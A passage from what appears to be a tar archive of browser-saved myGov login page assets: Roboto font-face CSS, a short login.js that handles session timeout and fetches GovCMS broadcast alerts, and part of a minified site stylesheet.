  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
mygov/app/login_files/login.js.download000064400000003030151676702570014247 0ustar00setTimeout(function(){window.location="/mygov/content/html/session-expired.html";},1740000);function priorityLookup(levelName){switch(levelName){case"high":return 1;case"medium":return 2;case"low":return 3;default:return 4;}}function compareDates(firstDate,secondDate){firstDate=new Date(firstDate);secondDate=new Date(secondDate);return firstDate<secondDate?1:-1;}function getTopAlert(entries){var sortedAlerts=entries.sort(function(firstEntry,secondEntry){if(priorityLookup(firstEntry.priority)===priorityLookup(secondEntry.priority)){return compareDates(firstEntry.modified,secondEntry.modified);}return priorityLookup(firstEntry.priority)>priorityLookup(secondEntry.priority)?1:-1;});return sortedAlerts[0];}function getTopBroadcast(entries){var sortedBroadcasts=entries.sort(function(firstEntry,secondEntry){return compareDates(firstEntry.modified,secondEntry.modified);});return sortedBroadcasts[0];}function displayBroadcast(alert){if(alert&&alert.body){$(".emergency-text").html(alert.body);$(".emergency-text").find("a").attr("target","_blank");$(".emergency-information").css({height:"auto",padding:"17px 5px"});}}$(document).ready(function(){var url=$("#govcms-endpoint").val();var clientId=$("#govcms-client-id").val();var apiVersion=$("#govcms-api-version").val();if(url&&clientId&&apiVersion){fetch(url,{headers:{"x-caas-client-id":clientId,"x-caas-version":apiVersion,"Cache-Control":"no-cache"}}).then(function(resp){return resp.json();}).then(function(data){if(data&&data.broadcasts){displayBroadcast(getTopBroadcast(data.broadcasts));}});}});mygov/app/login_files/mgv2-application.css000064400000364774151676702570014712 0ustar00.pathway-link-item:focus,.alert-link .alert-link-arrow:focus,.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active,.button-main-mapwap:focus,.button-main-mapwap:active,.anchor:focus,.button-back:focus,.button-close:focus,form [type='radio']:focus+label,form [type='checkbox']:focus+label,button:focus,input:focus,optgroup:focus,select:focus,textarea:focus,.chosen-container:focus,.chosen-select:focus,body a:focus,body .non-transition-link:focus,footer[role='contentinfo'] a:focus,footer[role='contentinfo'] .non-transition-link:focus,.link-arrow:focus,.menu-hitbox:focus,.outage .expand:focus{outline:3px solid #666;outline-offset:2px}.pathway-link-item:focus,.alert-link .alert-link-arrow:focus{outline-offset:-1px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}html{box-sizing:border-box}*,*::after,*::before{box-sizing:inherit}[type='checkbox']+label[for="same-as-residential"]{display:block;margin-top:30px}.raet-container{display:block;position:relative;width:auto;width:100%;line-height:1.3em}.raet-line{overflow:visible;width:100%;margin:.75em 0 0;box-sizing:border-box;-webkit-transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;height:auto;opacity:1}.raet-line:first-child{margin-top:0}.raet-line:focus{color:blue}.raet-message-success{color:#009b27;background-color:#effbf2;border:1px solid #009b27}.raet-message-fail{color:#bd6400;background-color:#ffffef;border:1px solid #bd6400}.raet-button{display:inline-block;font-size:1em;display:none;cursor:pointer;margin:0 3px;color:#007373;background:#e4efef;border:1px solid #007373}.raet-button:hover{color:black;background:#e2e2e2;border-color:black}.raet-container .raet-singleLine-input{width:100%}.raet-inlineWrapper{position:relative;display:inline-block;margin-bottom:6px!important;max-width:42em}.raet-inlineWrapper>input{box-sizing:border-box}.raet-dropDown{position:absolute;font-size:1em;display:none;left:0;right:0;z-index:1;max-height:425px;overflow:auto;list-style:none;margin:0;padding:0;background:white;border:1px solid grey;box-sizing:border-box;width:100%}.raet-dropDown li{cursor:pointer;padding:.9em .5em .3em;color:#555;min-height:1em}.raet-dropDown .additionalInfo{font-size:.9em;padding-left:1em;line-height:1.75em;text-transform:uppercase}.raet-dropDown strong{color:black}.raet-dropDown li:hover{background-color:#f5f5f5}.raet-dropDown .selected{background-color:#eee}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.raet-spinner{pointer-events:none;display:block;position:absolute;top:0;right:0;border-radius:10px;border:3px solid #aaa;background:white;border-left-color:white;border-right-color:white;margin:3px;opacity:0;-webkit-transition:200ms linear opacity;transition:200ms linear opacity;-webkit-animation:rotate .9s linear infinite;animation:rotate .9s linear infinite}input::-ms-clear{width:0;height:0}.raet-aria-status{border:0 none;clip:rect(0,0,0,0);height:1px;width:1px;margin:-1px;overflow:hidden;padding:0;position:absolute}.raet-inputWrapper>input{width:100%;box-sizing:border-box}.raet-container input,.raet-container select{border:1px solid #969696}#raetDiv-home>div:nth-child(2){display:none}#raetDiv-postal>div:nth-child(2){display:none}/*!
Chosen, a Select Box Enhancer for jQuery and Prototype
by Patrick Filler for Harvest, http://getharvest.com

Version 1.6.2
Full source at https://github.com/harvesthq/chosen
Copyright (c) 2011-2016 Harvest http://getharvest.com

MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md
This file is generated by `grunt build`, do not edit it by hand.
*/.chosen-container{position:relative;display:block;vertical-align:middle;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;left:-9999px;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff}.chosen-container.chosen-with-drop .chosen-drop{left:0}.chosen-container a{cursor:pointer}.chosen-container .search-choice .group-name,.chosen-container .chosen-single .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:normal;color:#999}.chosen-container .search-choice .group-name:after,.chosen-container .chosen-single .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:.7em;border:1px solid #999;background-color:#fff;background-clip:padding-box;text-decoration:none;white-space:nowrap;line-height:1.15;margin-top:.4em}.chosen-container-single .chosen-single:hover{color:#333}.chosen-container-single .chosen-default{color:#333}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;white-space:nowrap;color:#333}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:40%;right:26px;display:block;width:12px;height:12px;background:url("../icons/chosen-sprite.png") -42px 1px no-repeat;font-size:1px;color:#333}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:25%;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../icons/chosen-sprite.png") no-repeat 0 2px;color:#333}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type="text"]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:white url("../icons/chosen-sprite.png") no-repeat 100% -20px;background:url("../icons/chosen-sprite.png") no-repeat 100% -20px;font-size:1rem;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;left:-9999px}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#0f6493;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb}.chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single-nosearch .chosen-search,.chosen-rtl .chosen-drop{left:9999px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:0}.chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:white url("../icons/chosen-sprite.png") no-repeat -30px -20px;background:url("../icons/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-rtl .chosen-search input[type="text"],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-container-single .chosen-search input[type="text"],.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span{background-image:url("../icons/chosen-sprite@2x.png")!important;background-size:52px 37px!important;background-repeat:no-repeat!important}}.pincode-input-container{display:inline-block}.pincode-input-container input.first{border-top-right-radius:0;border-bottom-right-radius:0}.pincode-input-container input.last{border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:34px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:20px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:120px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}html{color:#333;line-height:1.6;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:400}body{font-size:1.125rem}h1,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title,h4{line-height:1.4;font-weight:400;margin-bottom:.4em}h1{font-size:1.75rem;font-weight:700;margin-bottom:0}h1:first-of-type{margin-top:1.5rem}h2,.display{font-size:1.375rem;line-height:1.2;margin-bottom:.5em}h2:first-of-type,.display:first-of-type{margin-top:1.2em}h2.bold,.bold.display{font-weight:700}h2.bold:nth-of-type(2n),.bold.display:nth-of-type(2n){margin-top:2em}h3,#poro-form #modal-title,.poro-form #modal-title{font-size:1.125rem;font-weight:700;margin-bottom:.8em}h4,h5,h6{font-size:1rem;font-weight:700}@media screen and (min-width:992px){.content-main h1,.content-main h2,.content-main .display,.content-main h3,.content-main #poro-form #modal-title,#poro-form .content-main #modal-title,.content-main .poro-form #modal-title,.poro-form .content-main #modal-title,.content-main h4,.content-main h5,.content-main p,.content-main li,.content-main dl{max-width:38rem}.content-main .content-full-width{max-width:none;width:100%}}strong{font-weight:700}strong.very-bold{font-weight:700}hr{border:1px solid #999;border-bottom:0;margin-bottom:0}ul,ol{padding-left:2.4em}ul ul,ol ul{list-style-type:disc}ul,ol,dl,p,dt,dd{margin-bottom:1rem;line-height:1.6em}li{margin-bottom:.53333em}li ul,li ol{margin-bottom:0}ul.no-bullets{list-style-type:none;margin:0;padding-left:1.2em}dt{display:inline-block;font-weight:700}dt:first-of-type{margin-top:0}.callout,.callout--warning{margin:1.6em .8em;padding:1.2em 1.2em 1.2em 1.6em;border-radius:1px;box-shadow:0 0 8px #ccc}.callout--warning{border-left:.4em solid #b7202d;padding-left:1.2em}.badge--default{display:inline-block;background-color:#999;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--error{display:inline-block;background-color:#b7202d;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--success{display:inline-block;background-color:#026540;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:#e7fff6;font-size:.875rem}article h1:first-of-type{margin-top:0}.is-visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;background-color:#fff!important;color:#333!important}.visiblity-hidden{visibility:hidden}.hidden{display:none}.ua-notification{display:block;padding:.8em;text-align:center;background-color:#f80;color:#333;font-size:1.0625rem;margin-bottom:0}@media print{*,*::before,*::after,*::first-letter ,*::first-line {background:transparent;color:#333;box-shadow:none;text-shadow:none}a,a:visited{text-decoration:underline}a[href]::after{content:" (" attr(href) ")"}abbr[title]::after{content:" (" attr(title) ")"}a[href^='#']::after,a[href^='javascript:']::after{content:''}pre,blockquote{border:1px solid #ccc;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%}p,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{orphans:3;widows:3}h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{page-break-after:avoid}}html{height:100%;min-width:300px}body{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;height:100%}body>header,body>footer{-webkit-box-flex:0;-webkit-flex:none;-ms-flex:none;flex:none}body>.wrapper,.wrapper-mapwap,.wrapper-integration,.wrapper-integration-mapwap{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:100%;display:inline-block}body>.wrapper::after,.wrapper-mapwap::after,.wrapper-integration::after,.wrapper-integration-mapwap::after{content:'\00a0';height:0;visibility:hidden}@media screen and (min-width:992px){.main-block{max-width:900px;margin-left:auto;margin-right:auto}.main-block::after{clear:both;content:"";display:block}}.wrapper{padding:0 1em}@media screen and (min-width:576px){.wrapper{padding:0 2em}}.wrapper-mapwap{padding:0 1em}.wrapper-mapwap .main-block{max-width:400px;margin-left:auto;margin-right:auto}.wrapper-mapwap .main-block .pin-fields2{text-align:center}.wrapper-mapwap .main-block .pin-fields3{text-align:center}@media screen and (min-width:576px){.wrapper-mapwap .main-block{padding:0 2em;max-width:600px}}.uikit-skip-link{display:block}header[role='banner']{background-color:#026540;border-bottom:4px solid #026540;min-height:80px}header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{position:relative}@media screen and (min-width:992px){header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}header[role='banner'] .inner::after,header[role='banner'] .unauth .product-description .digital-id-inner::after,.unauth .product-description header[role='banner'] .digital-id-inner::after{clear:both;content:"";display:block}}header[role='banner'] .header-logo{display:inline-block;position:absolute;left:0;right:10%;margin-right:1em;margin:0 auto;width:90px;top:31px}@media screen and (min-width:576px){header[role='banner'] .header-logo{width:112px;right:0}}@media screen and (min-width:768px){header[role='banner'] .header-logo{width:135px}}@media screen and (min-width:768px){header[role='banner'] 